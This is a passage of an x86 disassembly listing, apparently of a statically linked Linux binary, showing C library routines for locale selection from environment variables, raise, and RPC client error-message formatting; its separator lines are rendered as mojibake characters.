esp, 44h push edi push esi push ebx mov ebx, [ebp+arg_0] cmp ebx, 6 ja loc_806360C jnz short loc_8062D6C mov eax, dword_80790D4 jmp short loc_8062D73 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062D6C: ; CODE XREF: sub_8062D4C+15j mov eax, dword_80790BC[ebx*4] loc_8062D73: ; CODE XREF: sub_8062D4C+1Cj cmp [ebp+arg_4], 0 jz loc_8063642 cmp [ebp+arg_4], eax jz loc_8063642 cmp ebx, 6 jnz loc_8063504 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062DA7 push offset aLc_all ; "LC_ALL" call secure_getenv mov [ebp+arg_4], eax add esp, 4 loc_8062DA7: ; CODE XREF: sub_8062D4C+49j cmp [ebp+arg_4], 0 jz short loc_8062DB9 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz loc_8062EB4 loc_8062DB9: ; CODE XREF: sub_8062D4C+5Fj xor ebx, ebx nop loc_8062DBC: ; CODE XREF: sub_8062D4C+15Dj mov eax, ds:dword_806AA34[ebx*4] push eax call secure_getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8062DD8 cmp byte ptr [eax], 0 jnz short loc_8062DE8 loc_8062DD8: ; CODE XREF: sub_8062D4C+85j push offset aLang ; "LANG" call secure_getenv mov [ebp+arg_4], eax add esp, 4 loc_8062DE8: ; CODE XREF: sub_8062D4C+8Aj cmp [ebp+arg_4], 0 jz short loc_8062DF6 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062E00 loc_8062DF6: ; CODE XREF: sub_8062D4C+A0j mov eax, dword_80790BC[ebx*4] mov [ebp+arg_4], eax loc_8062E00: ; CODE XREF: sub_8062D4C+A8j mov eax, [ebp+arg_4] mov [ebp+ebx*4+var_18], eax lea edi, [ebx+1] mov eax, ds:dword_806AA34[edi*4] push eax call secure_getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8062E26 cmp byte ptr [eax], 0 jnz short loc_8062E36 loc_8062E26: ; CODE XREF: sub_8062D4C+D3j push offset aLang ; "LANG" call secure_getenv mov [ebp+arg_4], eax add esp, 4 loc_8062E36: ; CODE XREF: sub_8062D4C+D8j cmp [ebp+arg_4], 0 jz short loc_8062E44 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062E4E loc_8062E44: ; CODE XREF: sub_8062D4C+EEj mov eax, dword_80790BC[edi*4] mov [ebp+arg_4], eax loc_8062E4E: ; CODE XREF: sub_8062D4C+F6j mov eax, [ebp+arg_4] mov [ebp+edi*4+var_18], eax lea edi, [ebx+2] mov eax, ds:dword_806AA34[edi*4] push eax call secure_getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8062E74 cmp byte ptr [eax], 0 jnz short loc_8062E84 loc_8062E74: ; CODE XREF: sub_8062D4C+121j push offset aLang ; "LANG" call secure_getenv mov [ebp+arg_4], eax add esp, 4 loc_8062E84: ; CODE XREF: sub_8062D4C+126j cmp [ebp+arg_4], 0 jz short loc_8062E92 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062E9C loc_8062E92: ; CODE XREF: sub_8062D4C+13Cj mov eax, dword_80790BC[edi*4] mov [ebp+arg_4], eax loc_8062E9C: ; CODE XREF: sub_8062D4C+144j mov eax, [ebp+arg_4] mov [ebp+edi*4+var_18], eax add ebx, 3 cmp ebx, 5 jle loc_8062DBC jmp loc_80633ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062EB4: ; CODE XREF: sub_8062D4C+67j xor al, al mov edi, [ebp+arg_4] cld mov ecx, 0FFFFFFFFh repne scasb mov edi, ecx not edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+var_8], eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_18], eax mov ebx, 6 push 3Bh push eax call strchr mov [ebp+var_3C], eax add esp, 8 test eax, eax jz loc_80633ED lea eax, [edi+3] and al, 0FCh sub esp, eax mov [ebp+var_44], esp push edi mov eax, [ebp+arg_4] push eax mov edx, [ebp+var_44] push edx call memcpy add esp, 0Ch loc_8062F10: ; CODE XREF: sub_8062D4C+2C2j ; sub_8062D4C+2EEj push 3Dh mov esi, [ebp+var_44] push esi call strchr mov [ebp+var_3C], eax add esp, 8 test eax, eax jz loc_8063040 mov [ebp+var_40], 0 sub eax, esi cmp ds:dword_806AA8C, eax jnz short loc_8062F50 mov esi, ds:dword_806AA34 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz loc_8063000 loc_8062F50: ; CODE XREF: sub_8062D4C+1ECj mov [ebp+var_40], 1 cmp ds:dword_806AA90, eax jnz short loc_8062F75 mov esi, ds:dword_806AA38 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz loc_8063000 loc_8062F75: ; CODE XREF: sub_8062D4C+211j mov [ebp+var_40], 2 cmp ds:dword_806AA94, eax jnz short loc_8062F96 mov esi, ds:dword_806AA3C mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062F96: ; CODE XREF: sub_8062D4C+236j mov [ebp+var_40], 3 cmp ds:dword_806AA98, eax jnz short loc_8062FB7 mov esi, ds:dword_806AA40 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062FB7: ; CODE XREF: sub_8062D4C+257j mov [ebp+var_40], 4 cmp ds:dword_806AA9C, eax jnz short loc_8062FD8 mov esi, ds:dword_806AA44 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062FD8: ; CODE XREF: sub_8062D4C+278j mov [ebp+var_40], 5 cmp ds:dword_806AAA0, eax jnz short loc_8062FF9 mov esi, ds:dword_806AA48 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062FF9: ; CODE XREF: sub_8062D4C+299j mov [ebp+var_40], 6 loc_8063000: ; CODE XREF: sub_8062D4C+1FEj ; sub_8062D4C+223j ... cmp [ebp+var_40], 6 jz loc_806360C cmp [ebp+var_40], 5 jg loc_8062F10 push 3Bh inc [ebp+var_3C] mov edx, [ebp+var_3C] push edx call strchr mov edx, [ebp+var_3C] mov esi, [ebp+var_40] mov [ebp+esi*4+var_18], edx add esp, 8 test eax, eax jz short loc_8063040 mov byte ptr [eax], 0 inc eax mov [ebp+var_44], eax jmp loc_8062F10 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063040: ; CODE XREF: sub_8062D4C+1D7j ; sub_8062D4C+2E5j mov [ebp+var_40], 0 mov eax, [ebp+arg_4] lea esi, [esi] loc_806304C: ; CODE XREF: sub_8062D4C+314j mov esi, [ebp+var_40] cmp [ebp+esi*4+var_18], eax jz loc_806360C inc esi mov [ebp+var_40], esi cmp esi, 5 jle short loc_806304C jmp loc_80633ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063068: ; CODE XREF: sub_8062D4C+6A6j cmp ds:dword_806AA04[ebx*4], 0 jz loc_80632BC lea eax, [ebp+ebx*4+var_18] push eax push ebx call sub_8066BFC mov [ebp+ebx*4+var_30], eax add esp, 8 test eax, eax jz short loc_80630AC mov eax, [ebp+ebx*4+var_18] push eax mov ecx, ebp call sub_80628F8 mov [ebp+ebx*4+var_18], eax add esp, 4 test eax, eax jnz loc_80633ED dec ebx jmp short loc_80630F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80630AC: ; CODE XREF: sub_8062D4C+33Ej mov esi, [ebp+ebx*4+var_18] mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_80630D6 mov esi, [ebp+ebx*4+var_18] mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_80630F4 loc_80630D6: ; CODE XREF: sub_8062D4C+373j cmp [ebp+ebx*4+var_30], 0 jnz loc_80632FD mov eax, ds:dword_806AA1C[ebx*4] mov [ebp+ebx*4+var_30], eax jmp loc_80632FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80630F4: ; CODE XREF: sub_8062D4C+35Cj ; sub_8062D4C+388j ... inc ebx cmp ebx, 5 jg loc_8063616 mov eax, 6 sub eax, ebx and eax, 3 cmp ebx, 6 jge short loc_806318B test eax, eax jz loc_80631CC cmp eax, 1 jle short loc_806318B cmp eax, 2 jle short loc_8063155 cmp ds:dword_806AA04[ebx*4], 0 jz short loc_8063136 mov eax, [ebp+ebx*4+var_30] push eax call sub_8067040 add esp, 4 loc_8063136: ; CODE XREF: sub_8062D4C+3DBj cmp [ebp+ebx*4+var_18], 0 jz short loc_8063154 cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063154 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063154: ; CODE XREF: sub_8062D4C+3EFj ; sub_8062D4C+3F9j inc ebx loc_8063155: ; CODE XREF: sub_8062D4C+3D1j cmp ds:dword_806AA04[ebx*4], 0 jz short loc_806316C mov eax, [ebp+ebx*4+var_30] push eax call sub_8067040 add esp, 4 loc_806316C: ; CODE XREF: sub_8062D4C+411j cmp [ebp+ebx*4+var_18], 0 jz short loc_806318A cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_806318A mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_806318A: ; CODE XREF: sub_8062D4C+425j ; sub_8062D4C+42Fj inc ebx loc_806318B: ; CODE XREF: sub_8062D4C+3BFj ; sub_8062D4C+3CCj cmp ds:dword_806AA04[ebx*4], 0 jz short loc_80631A2 mov eax, [ebp+ebx*4+var_30] push eax call sub_8067040 add esp, 4 loc_80631A2: ; CODE XREF: sub_8062D4C+447j cmp [ebp+ebx*4+var_18], 0 jz short loc_80631C0 cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_80631C0 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_80631C0: ; CODE XREF: sub_8062D4C+45Bj ; sub_8062D4C+465j inc ebx cmp ebx, 5 jg loc_8063616 lea esi, [esi] loc_80631CC: ; CODE XREF: sub_8062D4C+3C3j ; sub_8062D4C+563j cmp ds:dword_806AA04[ebx*4], 0 jz short loc_80631E3 mov eax, [ebp+ebx*4+var_30] push eax call sub_8067040 add esp, 4 loc_80631E3: ; CODE XREF: sub_8062D4C+488j cmp [ebp+ebx*4+var_18], 0 jz short loc_8063201 cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063201 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063201: ; CODE XREF: sub_8062D4C+49Cj ; sub_8062D4C+4A6j lea edi, [ebx+1] cmp ds:dword_806AA04[edi*4], 0 jz short loc_806321B mov eax, [ebp+edi*4+var_30] push eax call sub_8067040 add esp, 4 loc_806321B: ; CODE XREF: sub_8062D4C+4C0j cmp [ebp+edi*4+var_18], 0 jz short loc_8063239 cmp [ebp+edi*4+var_18], offset unk_806AABC jz short loc_8063239 mov eax, [ebp+edi*4+var_18] push eax call free add esp, 4 loc_8063239: ; CODE XREF: sub_8062D4C+4D4j ; sub_8062D4C+4DEj lea edi, [ebx+2] cmp ds:dword_806AA04[edi*4], 0 jz short loc_8063253 mov eax, [ebp+edi*4+var_30] push eax call sub_8067040 add esp, 4 loc_8063253: ; CODE XREF: sub_8062D4C+4F8j cmp [ebp+edi*4+var_18], 0 jz short loc_8063271 cmp [ebp+edi*4+var_18], offset unk_806AABC jz short loc_8063271 mov eax, [ebp+edi*4+var_18] push eax call free add esp, 4 loc_8063271: ; CODE XREF: sub_8062D4C+50Cj ; sub_8062D4C+516j lea edi, [ebx+3] cmp ds:dword_806AA04[edi*4], 0 jz short loc_806328B mov eax, [ebp+edi*4+var_30] push eax call sub_8067040 add esp, 4 loc_806328B: ; CODE XREF: sub_8062D4C+530j cmp [ebp+edi*4+var_18], 0 jz short loc_80632A9 cmp [ebp+edi*4+var_18], offset unk_806AABC jz short loc_80632A9 mov eax, [ebp+edi*4+var_18] push eax call free add esp, 4 loc_80632A9: ; CODE XREF: sub_8062D4C+544j ; sub_8062D4C+54Ej add ebx, 4 cmp ebx, 5 jle loc_80631CC jmp loc_8063616 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80632BC: ; CODE XREF: sub_8062D4C+324j mov eax, [ebp+ebx*4+var_18] push eax mov ecx, ebp call sub_80628F8 mov [ebp+ebx*4+var_18], eax add esp, 4 test eax, eax jnz loc_80633ED xor esi, esi mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_80632FD xor esi, esi mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_806330C loc_80632FD: ; CODE XREF: sub_8062D4C+38Fj ; sub_8062D4C+3A0j ... mov [ebp+ebx*4+var_18], offset unk_806AABC jmp loc_80633ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806330C: ; CODE XREF: sub_8062D4C+5AFj inc ebx cmp ebx, 5 jg loc_80633ED mov eax, 6 sub eax, ebx and eax, 3 cmp ebx, 6 jge short loc_8063363 test eax, eax jz short loc_8063380 cmp eax, 1 jle short loc_8063363 cmp eax, 2 jle short loc_806334B cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_806334A mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_806334A: ; CODE XREF: sub_8062D4C+5EFj inc ebx loc_806334B: ; CODE XREF: sub_8062D4C+5E5j cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063362 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063362: ; CODE XREF: sub_8062D4C+607j inc ebx loc_8063363: ; CODE XREF: sub_8062D4C+5D7j ; sub_8062D4C+5E0j cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_806337A mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_806337A: ; CODE XREF: sub_8062D4C+61Fj inc ebx cmp ebx, 5 jg short loc_80633ED loc_8063380: ; CODE XREF: sub_8062D4C+5DBj ; sub_8062D4C+69Fj cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063397 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063397: ; CODE XREF: sub_8062D4C+63Cj lea eax, [ebx+1] cmp [ebp+eax*4+var_18], offset unk_806AABC jz short loc_80633B1 mov eax, [ebp+eax*4+var_18] push eax call free add esp, 4 loc_80633B1: ; CODE XREF: sub_8062D4C+656j lea eax, [ebx+2] cmp [ebp+eax*4+var_18], offset unk_806AABC jz short loc_80633CB mov eax, [ebp+eax*4+var_18] push eax call free add esp, 4 loc_80633CB: ; CODE XREF: sub_8062D4C+670j lea eax, [ebx+3] cmp [ebp+eax*4+var_18], offset unk_806AABC jz short loc_80633E5 mov eax, [ebp+eax*4+var_18] push eax call free add esp, 4 loc_80633E5: ; CODE XREF: sub_8062D4C+68Aj add ebx, 4 cmp ebx, 5 jle short loc_8063380 loc_80633ED: ; CODE XREF: sub_8062D4C+163j ; sub_8062D4C+1A3j ... mov eax, ebx dec ebx test eax, eax jg loc_8063068 lea eax, [ebp+var_18] push eax push 6 mov ecx, ebp call sub_8062940 mov [ebp+var_38], eax add esp, 8 test eax, eax jnz short loc_806341C mov ebx, 0FFFFFFFFh jmp loc_80630F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806341C: ; CODE XREF: sub_8062D4C+6C1j xor ebx, ebx mov eax, [ebp+ebx*4+var_30] push eax push 0 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 0 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 1 mov eax, [ebp+ebx*4+var_30] push eax push 1 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 1 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 2 mov eax, [ebp+ebx*4+var_30] push eax push 2 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 2 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 3 mov eax, [ebp+ebx*4+var_30] push eax push 3 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 3 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 4 mov eax, [ebp+ebx*4+var_30] push eax push 4 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 4 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 5 mov eax, [ebp+ebx*4+var_30] push eax push 5 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 5 mov ecx, ebp call sub_8062CC8 add esp, 10h mov edx, [ebp+var_38] push edx mov ecx, ebp call sub_8062C9C mov eax, [ebp+var_38] jmp loc_8063642 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063504: ; CODE XREF: sub_8062D4C+3Dj mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8063550 mov eax, ds:dword_806AA34[ebx*4] push eax call secure_getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8063528 cmp byte ptr [eax], 0 jnz short loc_8063538 loc_8063528: ; CODE XREF: sub_8062D4C+7D5j push offset aLang ; "LANG" call secure_getenv mov [ebp+arg_4], eax add esp, 4 loc_8063538: ; CODE XREF: sub_8062D4C+7DAj cmp [ebp+arg_4], 0 jz short loc_8063546 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8063550 loc_8063546: ; CODE XREF: sub_8062D4C+7F0j mov eax, dword_80790BC[ebx*4] mov [ebp+arg_4], eax loc_8063550: ; CODE XREF: sub_8062D4C+7BEj ; sub_8062D4C+7F8j mov eax, [ebp+arg_4] push eax mov ecx, ebp call sub_80628F8 mov [ebp+var_34], eax add esp, 4 test eax, eax jnz short loc_8063594 mov esi, [ebp+arg_4] mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_806358D mov esi, [ebp+arg_4] mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_806360C loc_806358D: ; CODE XREF: sub_8062D4C+82Bj mov [ebp+var_34], offset unk_806AABC loc_8063594: ; CODE XREF: sub_8062D4C+817j lea eax, [ebp+var_34] push eax push ebx mov ecx, ebp call sub_8062940 mov [ebp+var_38], eax add esp, 8 test eax, eax jnz short loc_80635C0 cmp [ebp+var_34], offset unk_806AABC jz short loc_806360C mov eax, [ebp+var_34] push eax call free jmp short loc_806360C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80635C0: ; CODE XREF: sub_8062D4C+85Cj cmp ds:dword_806AA04[ebx*4], 0 jz short loc_8063628 lea eax, [ebp+arg_4] push eax push ebx call sub_8066BFC add esp, 8 test eax, eax jnz short loc_806361C mov esi, [ebp+arg_4] mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_8063603 mov esi, [ebp+arg_4] mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_806360C loc_8063603: ; CODE XREF: sub_8062D4C+8A1j mov eax, ds:dword_806AA1C[ebx*4] jmp short loc_806361C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806360C: ; CODE XREF: sub_8062D4C+Fj ; sub_8062D4C+2B8j ... mov __errno, 16h loc_8063616: ; CODE XREF: sub_8062D4C+3ACj ; sub_8062D4C+478j ... xor eax, eax jmp short loc_8063642 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806361C: ; CODE XREF: sub_8062D4C+88Dj ; sub_8062D4C+8BEj push eax push ebx mov ecx, ebp call sub_8062CF8 add esp, 8 loc_8063628: ; CODE XREF: sub_8062D4C+87Cj mov eax, [ebp+var_34] push eax push ebx mov ecx, ebp call sub_8062CC8 mov esi, [ebp+var_38] push esi mov ecx, ebp call sub_8062C9C mov eax, [ebp+var_34] loc_8063642: ; CODE XREF: sub_8062D4C+2Bj ; sub_8062D4C+34j ... lea esp, [ebp+var_50] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8062D4C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden raise proc near ; CODE XREF: abort+26p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call getpid push eax call kill mov esp, ebp pop ebp retn raise endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063664 proc near ; CODE XREF: sub_8063688+Fp ; sub_8063958+8p push ebp mov ebp, esp cmp ds:dword_807E750, 0 jnz short loc_806367F push 100h call malloc mov ds:dword_807E750, eax loc_806367F: ; CODE XREF: sub_8063664+Aj mov eax, ds:dword_807E750 mov esp, ebp pop ebp retn sub_8063664 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8063688 proc near ; CODE XREF: sub_8063894+Bp var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] call sub_8063664 mov [ebp+var_10], eax mov ebx, [ebp+var_10] test ebx, ebx jnz short loc_80636B0 xor eax, eax jmp loc_8063888 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80636B0: ; CODE XREF: sub_8063688+1Cj mov edx, [esi+4] lea eax, [ebp+var_C] push eax push esi mov eax, [edx+8] call eax push edi push offset aS_2 ; "%s: " push ebx call sprintf push ebx call sub_80662B0 add ebx, eax mov eax, [ebp+var_C] push eax call sub_80638B8 push eax push ebx call strcpy add esp, 24h push ebx call sub_80662B0 add ebx, eax call sub_805E954 add esp, 4 cmp [ebp+var_C], 11h ja loc_806385C mov eax, [ebp+var_C] jmp ds:off_8063708[eax*4] ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 off_8063708 dd offset loc_806387A ; DATA XREF: sub_8063688+79r dd offset loc_806387A dd offset loc_806387A dd offset loc_8063750 dd offset loc_8063750 dd offset loc_806387A dd offset loc_806379C dd offset loc_80637C4 dd offset loc_806387A dd offset loc_8063838 dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063750: ; DATA XREF: sub_8063688+8Co ; sub_8063688+90o mov eax, [ebp+var_8] mov eax, ds:dword_806AE98[eax*4] push eax mov eax, [ebp+var_8] inc eax push eax push 1 mov eax, dword_8078F9C push eax call catgets push eax push offset aErrnoS ; "; errno = %s" push 1 push 9 mov eax, dword_8078F9C push eax call catgets add esp, 10h push eax push ebx call sprintf push ebx call sub_80662B0 add ebx, eax add esp, 20h jmp loc_806387A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806379C: ; DATA XREF: sub_8063688+98o mov eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push eax push offset aLowVersionLuHi ; "; low version = %lu, high version = %lu"... push 2 push 9 mov eax, dword_8078F9C push eax call catgets add esp, 10h push eax jmp loc_8063869 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80637C4: ; DATA XREF: sub_8063688+9Co mov eax, [ebp+var_8] push eax call sub_8063A74 mov esi, eax push offset aWhy ; "; why = " push 3 push 9 mov eax, dword_8078F9C push eax call catgets push eax push ebx call sprintf push ebx call sub_80662B0 add ebx, eax add esp, 20h test esi, esi jz short loc_8063804 push esi push offset aS_3 ; "%s" jmp short loc_8063820 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063804: ; CODE XREF: sub_8063688+16Fj mov eax, [ebp+var_8] push eax push offset aUnknownAuthent ; "(unknown authentication error - %d)" push 4 push 9 mov eax, dword_8078F9C push eax call catgets add esp, 10h push eax loc_8063820: ; CODE XREF: sub_8063688+177j push ebx call sprintf add esp, 0Ch push ebx call sub_80662B0 add ebx, eax add esp, 4 jmp short loc_806387A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063838: ; DATA XREF: sub_8063688+A4o mov eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push eax push offset aLowVersionLuHi ; "; low version = %lu, high version = %lu"... push 2 push 9 mov eax, dword_8078F9C push eax call catgets add esp, 10h push eax jmp short loc_8063869 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806385C: ; CODE XREF: sub_8063688+70j mov eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push eax push offset aS1LuS2Lu ; "; s1 = %lu, s2 = %lu" loc_8063869: ; CODE XREF: sub_8063688+134j ; sub_8063688+1D0j 